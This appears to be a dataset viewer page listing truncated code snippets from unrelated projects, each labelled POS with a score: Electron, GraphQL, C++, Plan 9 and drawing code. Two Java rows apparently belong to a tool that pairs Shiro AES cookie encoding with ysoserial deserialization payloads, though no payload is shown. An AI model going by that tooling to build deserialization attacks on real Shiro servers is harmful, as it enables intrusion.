-fno-rtti -fsigned-char -fshort-enums -fshort-wchar
-D__MICROLIB -gdwa... | __label__POS | 1.00001 |
const ipcRenderer = require("electron").ipcRenderer;
ipcRenderer.on("set-buttons", (_, state) => {
set_buttons(state);
})
// disables or enables certain buttons when for example
// updating/installing Northstar.
module.exports = (state, enable_gamepath_btns, elements) => {
if (! elements) {
playNsBtn.disabled = !... | __label__POS | 0.678435 |
import type { TypeNode, ValueNode } from './ast';
import type { Maybe } from './types';
export function valueFromASTUntyped(
node: ValueNode,
variables?: Maybe<Record<string, any>>
): unknown {
switch (node.kind) {
case 'NullValue':
return null;
case 'IntValue':
return parseInt(node.value, 10... | __label__POS | 0.723014 |
import { BREAK, Kind } from '@0no-co/graphql.web';
export { BREAK, visit, Kind } from '@0no-co/graphql.web';
export function getEnterLeaveForKind(visitor, kind) {
if (typeof visitor[kind] === 'object') {
return visitor[kind];
}
return {
enter: visitor[kind] || visitor.enter,
leave: visitor.leave,
}... | __label__POS | 0.680757 |
const resizeOptions: ResizeObserverOptions = { box: 'border-box' };
const mutationObservers: Map<HTMLElement, MutationObserver> = new Map();
const resizeListeners: Map<HTMLElement, Array<() => void>> = new Map();
const resizeObserver =
typeof ResizeObserver !== 'undefined'
? new ResizeObserver(entries => {
... | __label__POS | 0.777576 |
#include "nullutils.h"
std::string NullUtils::removeNullChars(const std::string &str) {
size_t nullPos = str.find('\0');
if (nullPos != std::string::npos)
return str.substr(0, nullPos);
else
return str;
}
std::vector<uint8_t> NullUtils::interpretHex(std::string hex) {
hex.erase(std::re... | __label__POS | 0.888405 |
package org.zof.deswing.util;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.zof.deswing.ui.CopyableDialog;
import javax.swing.*;
import java.io.ByteArrayOutputStream;
public class ... | __label__POS | 0.927074 |
package org.zof.deswing.model;
import ysoserial.Strings;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import javax.swing.table.DefaultTableModel;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
imp... | __label__POS | 0.982151 |
#include "awiki.h"
Window*
newwindow(void)
{
char buf[12];
Window *w;
w = emalloc(sizeof(Window));
w->ctl = open("/mnt/wsys/new/ctl", ORDWR|OCEXEC);
if(w->ctl<0 || read(w->ctl, buf, 12)!=12)
error("can't open window ctl file: %r");
ctlprint(w->ctl, "noscroll\n");
w->id = atoi(buf);
w->event = winopenfile(w,... | __label__POS | 0.787244 |
#include "awiki.h"
void*
emalloc(uint n)
{
void *p;
p = malloc(n);
if(p == nil)
error("can't malloc: %r");
memset(p, 0, n);
return p;
}
char*
estrdup(char *s)
{
char *t;
t = emalloc(strlen(s)+1);
strcpy(t, s);
return t;
}
char*
estrstrdup(char *s, char *t)
{
char *u;
u = emalloc(strlen(s)+strlen(t)+1... | __label__POS | 0.803334 |
#include <u.h>
#include <libc.h>
#include <bio.h>
#include <thread.h>
#include "win.h"
Window*
newwindow(void)
{
char buf[12];
Window *w;
w = emalloc(sizeof(Window));
w->ctl = open("/mnt/wsys/new/ctl", ORDWR|OCEXEC);
if(w->ctl<0 || read(w->ctl, buf, 12)!=12)
error("can't open window ctl file: %r");
ctlprint(w... | __label__POS | 0.754942 |
#include <u.h>
#include <libc.h>
#include <bio.h>
#include <thread.h>
#include <plumb.h>
#include "dat.h"
Window*
newwindow(void)
{
char buf[12];
Window *w;
w = emalloc(sizeof(Window));
w->ctl = open("/mnt/wsys/new/ctl", ORDWR|OCEXEC);
if(w->ctl<0 || read(w->ctl, buf, 12)!=12)
error("can't open window ctl file... | __label__POS | 0.729232 |
G 0
l 5.150 5.810 5.150 5.400
a 5.630 5.810 5.400 5.670 5.150 5.810
a 5.630 5.810 5.400 5.950 5.150 5.810
l 5.630 5.810 5.630 5.400
a 5.630 5.400 5.400 5.260 5.150 5.400
;
G 1
l 6.260 4.290 6.260 3.810
l 6.120 4.190 6.400 4.190
l 6.120 4.090 6.400 4.090
;
G 2
c 3.270 4.090 0.250
t 3.270 4.090 pelm,unicode,9 Term
;
G 3
... | __label__POS | 0.953682 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.